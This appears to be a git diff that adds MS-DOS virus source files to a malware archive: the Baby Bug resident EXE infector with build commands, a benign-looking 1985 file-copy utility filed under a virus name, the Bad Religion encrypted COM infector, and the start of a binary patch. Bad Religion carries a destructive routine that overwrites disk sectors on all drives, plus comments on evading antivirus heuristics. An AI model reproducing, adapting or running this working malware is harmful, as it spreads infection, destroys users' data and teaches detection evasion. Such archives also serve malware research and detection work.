+; +; ▄█████▄ ▄█████▄ ▄█████▄ +; Baby Bug ███ ███ ███ ███ ███ ███ +; by Tcp/29A ▄▄▄██▀ ▀██████ ███████ +; ███▄▄▄▄ ▄▄▄▄███ ███ ███ +; ███████ ██████▀ ███ ███ +; +; Because in 29A#2 it wasn't going to be published any virus originally wri- +; tten by me and i did not like that, taking advantage of a little last-hour +; delay in the release of the magazine and of a rainy afternoon i decided to +; code this little virus. It is a 407 byte-long TSR EXE infector, which uses +; a pretty unusual code in order to process the EXE header... and this code, +; as you may imagine, takes less bytes than the standard one :) +; +; +; Compiling it +; ──────────── +; tasm /m babybug.asm +; tlink babybyg.obj + + + .286 + baby segment + assume cs:baby, ds:baby, es:baby, ss:baby + org 0 + +VIRUS_SIZE = end_virus - start +VIRUS_MEM_SIZE = memsize - start +VIR_PARAG = (VIRUS_MEM_SIZE + 15) / 16 + 1 + +start: +delta_ofs equ word ptr $+1 + mov si,0 ; mov si,delta_ofs + push ds + push es + mov ax,ds + add ax,10h + add cs:[si+f_relocs],ax ; Relocate host CS & SS + add cs:[si+f_reloss],ax + mov ax,0BAB1h ; Resident check + int 21h + cmp ax,0BA03h ; Already resident? + je exec_host ; Yes? then jmp + mov ax,ds + dec ax + mov ds,ax + mov bx,ds:[0003] + sub bx,VIR_PARAG+1 + mov ah,4Ah + int 21h ; Adjust current block + mov ah,48h + mov bx,VIR_PARAG + int 21h ; Get memory + mov es,ax + push cs + pop ds + xor di,di + mov cx,VIRUS_SIZE + rep movsb ; Copy virus to allocated mem + push es + push offset(mem_copy) + retf + + db '[Baby Bug, Tcp/29A]' + +mem_copy: + push cs + pop ds + dec ax + mov es,ax + mov word ptr es:[0001],8 ; DOS MCB + mov ax,3521h ; Read int 21h + int 21h + mov [di],bx ; Store it + mov [di+2],es + mov dx,offset(vir_21h) ; Virus int 21h + mov ah,25h + int 21h +exec_host: + pop es + pop ds + cli + db 68h ; push f_reloss +f_reloss dw 0FFF0h + pop ss +f_exesp equ word ptr $+1 + mov sp,offset(memsize) ; mov sp,f_exesp + sti + db 0EAh ; jmp host entry point +f_exeip dw 0 +f_relocs dw 0FFF0h + +vir_21h: + cmp ax,0BAB1h ; Resident check? + jne check_exec ; No? then jmp +int_24h: + mov al,3 + iret + +check_exec: + cmp ax,4B00h ; Exec file? + je process_file ; Yes? then jmp + jmp jmp_real_21 + +process_file: + pusha + push ds + push es + mov ax,3524h + int 21h ; Read int 24h + push es + push bx + mov ah,25h + push ax + push ds + push dx + push cs + pop ds + mov dx,offset(int_24h) + int 21h ; Set virus int 24h + pop dx + pop ds + mov ax,4300h + push ax + int 21h ; Read file attributes + pop ax + inc ax + push ax + push cx + push ds + push dx + xor cx,cx + int 21h ; Reset file attributes + jnc open_file +jmp_r_attr: + jmp restore_attr +open_file: + mov ax,3D02h + int 21h ; Open file I/O + jc jmp_r_attr + xchg ax,bx + push cs + pop ds + push cs + pop es + mov ax,5700h + int 21h ; Get file date/time + push ax + push cx + push dx + mov ah,3Fh + mov dx,offset(file_header) + mov cx,18h + int 21h ; Read file header + mov si,dx + stc + lodsw ; Signature + cmp ax,'MZ' ; EXE? + je infect_exe ; Yes? then jmp + cmp ax,'ZM' ; EXE? + jne jmp_r_datetime ; Yes? then jmp +infect_exe: + lodsw ; Part page + xchg ax,bp + lodsw ; Number of 512 bytes pages + or bp,bp + jz no_sub_page + dec ax +no_sub_page: + mov cx,512 + mul cx + add ax,bp ; Calculate file size + adc dx,0 + push ax ; Save it + push dx + lodsw ; Relocation items + lodsw ; Header size + xchg ax,bp + lodsw ; Min. memory + lodsw ; Max. memory + mov di,offset(f_reloss) + movsw ; SS + scasw ; DI+2 + movsw ; SP + scasw ; DI+2 + lodsw ; checksum + movsw ; IP + xchg ax,dx + lodsw ; CS + stosw + cmp ax,dx ; checksum == CS? infected? + pop dx + pop ax + je restore_datetime ; Yes? ten jmp + push bp + push ax + push dx + mov ax,4202h + xor cx,cx + cwd + int 21h ; Lseek end of file + pop cx + pop bp + cmp ax,bp ; Overlays? + pop bp +jmp_r_datetime: + jne restore_datetime ; Yes? then jmp + cmp dx,cx ; Overlays? + jne restore_datetime ; Yes? then jmp + push ax + push dx + mov cx,16 ; Calculate virus CS, IP + div cx + sub ax,bp + std + mov di,si + scasw + stosw ; CS + xchg ax,dx + stosw ; IP + mov delta_ofs,ax + xchg ax,dx + stosw ; Checksum = CS (infection mark) + xchg ax,dx + mov ax,VIR_PARAG*16 ; SP + stosw + xchg ax,dx + stosw ; SS + cmpsw ; hey! SUB DI,8 is only 3 bytes long, but it + cmpsw ; doesn't roq... :) + cmpsw + cmpsw + pop dx + pop ax + add ax,VIRUS_SIZE ; Calculate number of pages + adc dx,0 + mov cx,512 + div cx + or dx,dx + jz no_inc_pag + inc ax +no_inc_pag: + stosw ; Number of pages + xchg ax,dx + stosw ; Bytes in last page + mov ah,40h + cwd + mov cx,VIRUS_SIZE + int 21h ; Append virus body to file + jc restore_datetime + mov ax,4200h + mov cx,dx + int 21h ; Lseek begin of file + mov ah,40h + mov dx,di + mov cx,18h + int 21h ; Write new header to file +restore_datetime: + pop dx + pop cx + pop ax + inc ax ; 5701h + int 21h ; Restore date & time + mov ah,3Eh + int 21h ; Close file +restore_attr: + pop dx + pop ds + pop cx + pop ax + int 21h ; Restore attributes + pop ax + pop dx + pop ds + int 21h ; Restore int 24h + pop es + pop ds + popa +jmp_real_21: + db 0EAh ; jmp to int 21h +end_virus: +ofs_i21 dw ? +seg_i21 dw ? + +file_header: +signature dw ? +part_page dw ? +pages dw ? +relo_items dw ? +hdrsize dw ? +mim_mem dw ? +max_mem dw ? +reloss dw ? +exesp dw ? +checksum dw ? +exeip dw ? +relocs dw ? + +memsize: + +baby ends + end start + +; Baby Bug, by Tcp/29A +; (c) 1997, Tcp/29A (tcp@cryogen.com) diff --git a/MSDOS/Virus.MSDOS.Unknown.bac.asm b/MSDOS/Virus.MSDOS.Unknown.bac.asm new file mode 100644 index 00000000..b7e8a12c --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.bac.asm @@ -0,0 +1,364 @@ +BAC segment para public 'code' + assume cs:BAC, ds:BAC, es:BAC, ss:NOTHING + org 100h ; .COM format +BEGIN: + jmp CODE_START ; Jump around data declarations +DECLARE: ; Messages, Storage Areas, Equates + COPYRIGHT db 'BACopy (C) 1985, Dickinson Associates Inc.' + db 13,10,'$' + PATH_FILE_LEN equ 77 ;Length = 1, Path = 63, FileName = 12, 0 = 1 + SOURCE_FILE db PATH_FILE_LEN dup (0) + TARGET_PATH db PATH_FILE_LEN dup (0) + SOURCE_END dw 0 + TARGET_END dw 0 + SOURCE_HANDLE dw 0 + TARGET_HANDLE dw 0 + SOURCE_DTA db 44 dup(0) + TARGET_DTA db 44 dup(0) + VALID_IN db 'abcdefghijklmnopqrstuvwxyz,;=',9 + VALID_OUT db 'ABCDEFGHIJKLMNOPQRSTUVWXYZ',4 dup(32) + VALID_NUM equ $ - VALID_OUT + 1 + BLKSIZE dw 0 + LAST_BLOCK db 0 + EVENT_FLAG db 0 + ERR_HEAD db 10,13,'BACopy Error - $' + NO_PARMS db 'Correct Syntax is:',13,10,10 + db 'BACopy [d:][source_path]source_filename[.ext] [d:][target_path]$' + FILE_NOT_FOUND db 'File Not Found$' + SOURCE_ERROR db 'Opening Source File$' + CREATE_ERROR db 'Creating Target File$' + TARGET_FULL db '!!',10,10,13,'Target Disk is Full',13,10,10 + db 'Insert New Disk and Press [Enter]',7,'$' + ERR_TAIL db 10,10,13,' . . . Aborting',10,13,13,'$' + CONFIRM_MSG_1 db ' . . $' + CONFIRM_MSG_2 db 'BACopied to . . $' + END_LINE db 10,13,'$' + NOTHING_TO_DO db 13,10,'No Files Needed to be BACopied',13,10,'$' +; +CODE_START: ; Parse command line into source & target parameters + mov dx,offset COPYRIGHT ; Display copyright notice + mov ah,9h + int 21h + mov si,80h ; PSP parameter byte count pointer + mov cl,[si] ; Move byte count to CL + xor ch,ch ; Zero CH + jcxz NO_PARMS_PASSED ; If CX is zero, there are no parameters + mov dx,cx ; Save byte count in dx + inc si ; Point to parameter area + mov di,si ; Copy SI to DI for cleanup routine + cld ; Set direction flag to forward +CLEAN_PARMS: ; Change valid delimiters to blanks, lower to upper case + lodsb ; Load each character to AL + push di ; Save DI on stack + mov di,offset VALID_IN ; Point to table of valid inputs + push cx ; Save CX on stack + mov cx,VALID_NUM ; Set CX to number of inputs to look for +repne scasb ; See if any are in AL + jcxz CLEAN_END ; If not, change nothing + mov bx,VALID_NUM ; Set up BX to point to valid output + sub bx,cx ; This will leave BX one off + mov al,VALID_OUT [bx - 1] ; Load the valid output to AL +CLEAN_END: + pop cx ; Restore CX + pop di ; Restore DI + stosb ; Store modified AL back to PSP +loop CLEAN_PARMS ; Loop until CX is zero +; + mov cx,dx ; Restore number of bytes in PSP to CX + mov dx,2 ; Set DX to look for up to 2 parameters + mov bx,offset SOURCE_FILE ; Set BX to address of 1st parameter + mov al,' ' ; Set up to scan for first non-blank + mov di,81h ; Set DI to PC-DOS parameter pointer +FIND_PARMS: ; Start looking for parameters, load to program storage +repe scasb ; Scan while blanks + mov si,di ; Set SI to second non-blank byte + dec si ; Adjust it to first non-blank byte + inc cx ; Adjust CX to compensate + jcxz PARMS_LOADED ; If CX is zero, no parameters left + mov di,bx ; Set DI to parameter hold area + mov ax,cx ; Store CX to first byte of hold area + stosb ; DI is adjusted to second byte here +STORE: lodsb ; Load each byte to AL + cmp al,' ' ; Is it a blank? + jz END_STORE ; Yes, end of this parameter + stosb ; No, store the byte to hold area +END_STORE: + loopnz STORE ; Keep looking + sub [bx],cx ; Store number of bytes in each + jcxz PARMS_LOADED ; If CX is zero, no more parameters + dec byte ptr [bx] ; parameter to first byte of hold area + mov di,si ; Set up to scan for next non-blank + dec di ; Adjust DI to point to the blank + inc cx ; Adjust CX to compensate + dec dx ; Decrement DX counter + cmp dx,0 ; Is DX zero? + jz PARMS_LOADED ; Yes, all expected parameters loaded + add bx,PATH_FILE_LEN ; No, point to next part of hold area + jmp FIND_PARMS ; Go back and look for more +PARMS_LOADED: ; All parameters are loaded + cmp SOURCE_FILE[0],0 ; If there are no bytes in the + ja FIX_UP ; SOURCE_FILE, no parameters present +NO_PARMS_PASSED: ; Exit with an error if there + mov dx,offset NO_PARMS ; are no parameters passed + jmp ERROR_EXIT +FIX_UP: ; Fix SOURCE_FILE and TARGET_PATH + mov si,offset SOURCE_FILE ; For Search calls + lodsb ; Get Number of bytes + xor ah,ah ; Zero high byte of AX + mov di,si ; Move SI to DI for scan + add di,ax ; Start scan at end of parameter + dec di ; Adjust DI + mov cx,ax ; Set CX to number of bytes + mov al,'\' ; Scan for the last '\' + std ; Set direction flag to reverse +repnz scasb ; Scan while not '\' + jnz NO_SOURCE_DIR ; If Zero Flag not set, '\' not found + add di,2 ; Add 2 to DI to point to file name + jmp SOURCE_FIXED ; position +NO_SOURCE_DIR: ; No source directory was specified + add di,1 ; Adjust DI + cmp SOURCE_FILE[2],':' ; Check for specified disk drive + jne SOURCE_FIXED ; None present, we're done + mov di,offset SOURCE_FILE[3]; Yes, set DI to point to first byte +SOURCE_FIXED: ; after ':' + mov SOURCE_END,di ; Move DI to SOURCE_END pointer +; + cld ; Set direction flag to forward + mov si,offset TARGET_PATH ; Set up to look for '\' present + lodsb ; Get number of bytes + cmp al,0 ; If it's zero, no target specified + je NO_TARGET + xor ah,ah ; Zero high byte of AX + add si,ax ; Add it to SI to point to end + dec si ; Decrement SI to adjust + lodsb ; Look at last byte + mov di,si ; Copy SI to DI + cmp al,'\' ; Is last byte a '\'? + je TARGET_FIXED ; Yes, everything's fine + cmp TARGET_PATH[0],2 ; If TARGET_PATH is 2 bytes long and + jne STORE_SLASH ; is a disk drive specification, + cmp TARGET_PATH[2],':' ; let it default to the current + je TARGET_FIXED ; directory. +STORE_SLASH: ; Place a '\' at the end of + mov al,'\' ; TARGET_PATH if user did + stosb ; not +TARGET_FIXED: + mov TARGET_END,di ; Move DI to TARGET_END pointer + jmp BUFFER_SIZE +NO_TARGET: ; Set up to allow target path default + mov TARGET_END,offset TARGET_PATH + 1 ; to current path +BUFFER_SIZE: ; Compute size of file buffer + mov ax,0fdffh ; Leave plenty of room in segment + mov dx,offset FILE_BUFFER ; for stack & set DX to end of code + sub ax,dx ; Subtract + mov BLKSIZE,ax ; Save result in BLKSIZE +FIND_FILE: ; Find first source file + xor ax,ax ; Request to use SOURCE_DTA + mov ah,1ah ; to house FCB for SOURCE_FILE + mov dx,offset SOURCE_DTA + int 21h ; Call PC-DOS + mov dx,offset SOURCE_FILE + 1 ; DX points to SOURCE_FILE + mov ah,4eh ; Request function 4EH (find 1st file) + mov cx,0 ; Set CX to zero for normal files only + int 21h ; Call PC-DOS + jnc FOUND_FILE ; If no error, first file found + mov dx,offset FILE_NOT_FOUND; If no files found, exit + jmp ERROR_EXIT ; program with error message +FOUND_FILE: + mov LAST_BLOCK,0 ; Initalize last block read flag + mov si,offset SOURCE_DTA+30 ; SI points to source file name in DTA + mov di,SOURCE_END ; DI points to end of source path + push si ; Save pointer to source file name + mov cx,13 ; DTA will have 13 bytes +rep movsb ; Move name bytes to SOURCE_FILE + mov di,TARGET_END ; DI points to end of target path + pop si ; Recover pointer to source file name + mov cx,13 ; DTA will have 13 bytes +rep movsb ; Move file name bytes to TARGET_PATH +FIND_TARGET: ; Find matching target file + mov ah,1ah ; Request to use TARGET_DTA + xor al,al ; to house FCB for TARGET_PATH + mov dx,offset TARGET_DTA + int 21h ; Call PC-DOS + mov ah,4eh ; Request find 1st file for target + mov dx,offset TARGET_PATH+1 + mov cx,0 ; Set CX to zero for normal files only + int 21h ; Call PC-DOS + jc OPEN_SOURCE ; If not found, bypass date & time check +CHECK_TIME_DATE: ; Check time & date stamps in DTAs + mov si,offset SOURCE_DTA+24 ; Load source file date stamp to AX + lodsw + mov dx,ax ; Save in DX + mov si,offset TARGET_DTA+24 ; Load target file date stamp to AX + lodsw + cmp dx,ax ; If Source file newer, jump + ja OPEN_SOURCE ; to OPEN_SOURCE + jne DONT_COPY ; If Source file older, don't copy it + mov si,offset SOURCE_DTA+22 ; Otherwise, + lodsw ; load source time stamp to AX + mov dx,ax ; Save in DX + mov si,offset TARGET_DTA+22 ; Load target time stamp to AX + lodsw + cmp dx,ax ; If Source file newer, jump + ja OPEN_SOURCE ; to OPEN_SOURCE + jmp DONT_COPY +DONT_COPY: ; Otherwise, + call CLOSE_ALL ; Close all files + jmp NEXT_FILE ; Check for next file +OPEN_SOURCE: + mov ah,3dh ; Request Open Source File + mov dx,offset SOURCE_FILE+1 ; DX points to source file path name + mov al,0 ; with read permission only + int 21h ; Call PC-DOS + mov SOURCE_HANDLE,ax ; Save handle in memory + jnc CREATE_TARGET ; If no carry, open was good + mov dx,offset SOURCE_ERROR ; Otherwise, exit with error + mov SOURCE_HANDLE,0 ; Make sure CLOSE_ALL ignores handle + jmp ERROR_EXIT +CREATE_TARGET: + xor ax,ax + mov ah,3ch ; Request create & open a file + mov dx,offset TARGET_PATH+1 ; named the target file + xor cx,cx ; with normal attribute + int 21h ; Call PC-DOS + mov TARGET_HANDLE,ax ; Save target handle + jnc PROCEED_TO_COPY ; If no carry, create / open is ok + mov dx,offset CREATE_ERROR ; Otherwise, exit with an error + mov TARGET_HANDLE,0 ; Make sure CLOSE_ALL ignores target + jmp ERROR_EXIT +PROCEED_TO_COPY: ; The heart of the matter + mov si,offset SOURCE_FILE+1 ; Point to source file +START1: lodsb ; Load each byte to AL + cmp al,0 ; If ASCII 0, end of field + je DOTS + mov dl,al ; Copy byte to DL for funciton 2H + mov ah,2h ; Request function 2H + int 21h ; Call PC-DOS + jmp START1 ; Get next character +DOTS: mov ah,9h ; Confirm start of task + mov dx,offset CONFIRM_MSG_1 + int 21h +KEEP_COPYING: + mov ah,3fh ; Request read block of data + mov cx,BLKSIZE ; BLKSIZE bytes long + mov bx,SOURCE_HANDLE ; from source file + mov dx,offset FILE_BUFFER ; into buffer + int 21h ; Call PC-DOS + cmp ax,0 ; If AX is 0, no bytes were + je FINISH ; read, and we're done + mov cx,ax ; Move AX to CX for write call (below) + cmp cx,BLKSIZE ; Check number of bytes read against + je MORE_TO_COME ; request. If equal, we got them all, + mov LAST_BLOCK,1 ; otherwise, it's the last block of file +MORE_TO_COME: ; + push cx ; Save requested write count on stack + mov ah,40h ; Request write block of data + mov bx,TARGET_HANDLE ; to target file + mov dx,offset FILE_BUFFER ; from file buffer + int 21h ; Call PC-DOS + pop cx ; Recover requested write count + cmp ax,cx ; If CX equals AX, + je WRITE_OK ; write was successful, +DISK_FULL: + call CLOSE_ALL ; Otherwise disk is full -- close files + mov ah,41h ; Request erase file + mov dx,offset TARGET_PATH+1 ; for incomplete target. + int 21h ; Call PC-DOS + mov dx,offset TARGET_FULL + mov ah,9h + int 21h +READ_KEYBOARD: ; Prompt requested [Enter] key + mov ah,8h ; Make sure [Ctrl]-[Break] is detected + int 21h ; Call PC-DOS for key + cmp al,13 ; Check for [Enter] + jne READ_KEYBOARD ; (no extended codes are 13) + mov cx,2 +END_FULL: + mov dx,offset END_LINE ; Send a new line to screen + mov ah,9h + int 21h + loop END_FULL + jmp FOUND_FILE ; Re-start from FOUND_FILE: +WRITE_OK: + cmp LAST_BLOCK,1 ; If this is the last block, + je FINISH ; we're done + jmp KEEP_COPYING ; Otherwise, keep going. +FINISH: ; Force target time & date stamps + mov ah,57h ; to equal source, close files + mov al,0 ; Request get time and date stamos + mov bx,SOURCE_HANDLE ; for source file + int 21h ; DX & CX contain data + mov ah,57h ; Request set date and time + mov al,1 ; to force target file to + mov bx,TARGET_HANDLE ; source stamp + int 21h ; Call PC-DOS + call CLOSE_ALL ; Go close all files + mov dx,offset CONFIRM_MSG_2 ; Confirm completion of task + mov ah,9h ; Request function 9H + int 21h ; Call PC-DOS + mov si,offset TARGET_PATH+1 ; Point to source file +START2: lodsb ; Load each byte to AL + cmp al,0 ; If ASCII 0, end of field + je CR_LF + mov dl,al ; Copy byte to DL for funciton 2H + mov ah,2h ; Request function 2H + int 21h ; Call PC-DOS + jmp START2 ; Get next character +CR_LF: mov dx,offset END_LINE ; Terminate display line + mov ah,9h ; Request function 9H + int 21h + mov EVENT_FLAG,1 ; Set flag to indicate file was copied +NEXT_FILE: ; Go Look for next file + xor ax,ax + mov ah,1ah ; Request to use SOURCE_DTA + mov dx,offset SOURCE_DTA ; to house FCB for SOURCE_FILE + int 21h ; Call PC-DOS + mov ah,4fh ; Request find next source file + mov cx,0 ; Normal files only + int 21h ; Call PC-DOS + jnc FOUND_ANOTHER ; No error, another file was found + jmp END_OK ; Error, we're done finding files +FOUND_ANOTHER: + jmp FOUND_FILE ; Go process next file +END_OK: cmp EVENT_FLAG,1 ; Did anything happen? + je EXIT ; Yes, just exit + mov dx,offset NOTHING_TO_DO ; No, tell user that nothing happened + mov ah,9h + int 21h +EXIT: int 20h ; Exit to PC-DOS +ERROR_EXIT: ; Print Error Message and Exit + push dx ; Save error message pointer on stack + mov ah,9 ; Display error header + mov dx,offset ERR_HEAD + int 21h + mov ah,9 ; Display error message + pop dx + int 21h + mov ah,9 ; Display error tail + mov dx,offset ERR_TAIL + call CLOSE_ALL + int 21h + int 20h ; Exit to PC-DOS + + +CLOSE_ALL proc + cmp SOURCE_HANDLE,0 ; Check for valid SOURCE_HANDLE + je CLOSE_TARGET ; None, then go close target + mov ah,3eh ; Request close file + mov bx,SOURCE_HANDLE ; for source handle + int 21h ; Call PC-DOS + mov SOURCE_HANDLE,0 ; Refresh handle +CLOSE_TARGET: + cmp TARGET_HANDLE,0 ; Check for valid TARGET_HANDLE + je CLOSE_RETURN ; None, then return + mov bx,TARGET_HANDLE ; Request close file + mov ah,3eh ; for target handle + int 21h ; Call PC-DOS + mov TARGET_HANDLE,0 ; Refresh handle +CLOSE_RETURN: + ret +CLOSE_ALL endp +FILE_BUFFER label word +BAC ends + end BEGIN + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.bad_reli.asm b/MSDOS/Virus.MSDOS.Unknown.bad_reli.asm new file mode 100644 index 00000000..be7dee22 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.bad_reli.asm @@ -0,0 +1,218 @@ +; ------------------------------------------------------------------------------ +; +; - Bad Religion - +; Created by Immortal Riot's destructive development team +; (c) 1994 The Unforgiven/Immortal Riot +; +; ------------------------------------------------------------------------------ +; ■ Undetectable/Destructive COM-infector ■ +; ------------------------------------------------------------------------------ +.model tiny +.radix 16 +.code +org 100h + +start: + +storbuf db 00,00,00,00 ; for first generation only! + +v_start: + +mov sp,102h ; get the delta offset so tbscan cant +call get_delta ; flag it as flexible entry point +get_delta: ; +mov bp,word ptr ds:[100h] +mov sp,0fffeh +sub bp,offset get_delta + +go_back: + +mov ax,0305h ; this code was included to avoid detection +xor bx,bx ; from tbscan. The vsafe disabeling code can +int 16h ; be used as well, but f-prot heuristics + ; complains about it. + +call en_de_crypt ; decrypt the virus +jmp short real_start ; and continue... + +encrypt_value dw 0 ; random xor (encryption) value + +write_virus: + +call en_de_crypt ; write encrypted copy of the virus +mov ah,40 ; +mov cx,code_end-v_start ; # bytes +lea dx,[bp+v_start] ; dx:100h +int 21 ; +call en_de_crypt ; decrypt virus again for further processing +ret + +en_de_crypt: + +mov ax,word ptr [bp+encrypt_value] +lea si,[bp+real_start] +mov cx,(enc_end-real_start+1)/2 + +xor_loopie: + +xor word ptr [si],ax ; encrypts two bytes/loop until all +inc si ; code between real_start and enc_end +inc si ; are encrypted +loop xor_loopie +ret + +real_start: +mov ah,2ch ; get time of 1/100 of a second value from +int 21h ; the system clock + +cmp dl,58d ; value == 58d +jne get_drive ; nope! + +mov al,2 + +drive: ; routine to overwrite all sectors +mov cx,1 ; on all drives from drive C-Z: +lea bx,[bp+v_name] ; +cwd +Next_Sector: +int 26h +inc dx +jnc next_sector +inc al +jmp short drive + +get_drive: + +mov ah,19h ; get drive from where we are executed from +int 21h ; check if it's a: or b: +cmp al,2 ; if so, return control to the original +jb quit ; program without infecting other files + +lea si,[bp+org_buf] ; copy the first four bytes +mov di,100 ; of the file, into a buffer +movsw ; called org_buf +movsw ; + +lea dx,[bp+code_end] ; set our own dta to code_end, so +mov ah,1ah ; the paramters when findfiles arent +int 21h ; destroyed + +lea dx,[bp+direct_infect] ; if present, infect +call dirinfect ; \dos\edit.com + +mov ah,4e ; search for com files +lea dx,[bp+com_files] ; +find_next: +int 21 + +jc no_more_files ; no more files find, exit! +call infect ; found a find, infect it! + +mov ah,4f ; search next file +jmp short find_next ; and see if we find one + +no_more_files: ; +mov dx,80 ; set the dta to 80h (default) +mov ah,1ah +int 21h + +quit: ; +mov di,100 ; return control to original program +push di ; +ret + +infect: +lea dx,[bp+code_end+1e] ; 1e = adress to filename in ds:dx in our + ; new dta area! +dirinfect: + +mov ax,3d02 ; open file +int 21 ; in read/write mode + +jnc infect_it ; if the file \dos\edit.com doesnt exist +ret ; return, and search first comfile + +infect_it: +xchg bx,ax ; filehandle in bx + +mov ax,5700 ; get time/date +int 21 + +push dx ; save date +push cx ; save time + +mov ah,3f ; read the first four bytes +mov cx,4 ; of the file to org_buf +lea dx,[bp+org_buf] +int 21 + +cmp byte ptr [bp+org_buf+3],03h ; previous infected (heart) +jz finish_infect ; + +cmp word ptr [bp+org_buf],9090h ; double nop +jz finish_infect ; + +cmp word ptr [bp+org_buf],5a4dh ; ZM (exe file) +jz finish_infect ; + +cmp word ptr [bp+org_buf],4d5ah ; MZ (exe-file) +jz finish_infect ; + +cmp byte ptr [bp+org_buf+1],6Dh ; command.com +jz finish_infect ; + +mov ax, word ptr [bp+code_end+1ah] ; virus size * 2 +cmp ax,762d ; +jb finish_infect + +cmp ax,65156d ; 1024 * 64 - virus size +ja finish_infect ; + +mov ax,4202 ; move file-pointer +xor cx,cx ; to end of file +cwd +int 21 + +sub ax,3 ; substract bytes +mov word ptr [bp+first_four+1],ax ; to our own jump + +get_value: + +mov ah,2ch ; get system clock for +int 21h ; 1/100 of a second +jz get_value ; if zero = get new value +mov word ptr [bp+encrypt_value],dx ; otherwise, use as enc value +call write_virus ; write virus to end of file + +mov ax,4200 ; move file-pointer to +xor cx,cx ; top of file +cwd +int 21 + +mov ah,40 ; write our own jump +mov cx,4 ; instruction to the +lea dx,[bp+first_four] ; beginning +int 21 + +finish_infect: +mov ax,5701 ; set back +pop cx ; time +pop dx ; date +int 21 ; + +mov ah,3e ; close file +int 21 + +ret ; return and continue! + +v_name db "[Bad Religion] (c) 1994 The Unforgiven/Immortal Riot" + +direct_infect db '\DOS\EDIT.COM',0 + +com_files db '*.com',0 +first_four db 0e9,90,90,03 ; buffer to calculate a new entry +org_buf: db 90,90,0CDh,20 ; buffer to save first four bytes in + +enc_end: +code_end: +end start diff --git a/MSDOS/Virus.MSDOS.Unknown.badattit.asm b/MSDOS/Virus.MSDOS.Unknown.badattit.asm new file mode 100644 index 0000000000000000000000000000000000000000..43d51eb2d350b083f54e56955944bdf98bfbe1ce GIT binary patch literal 8535 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 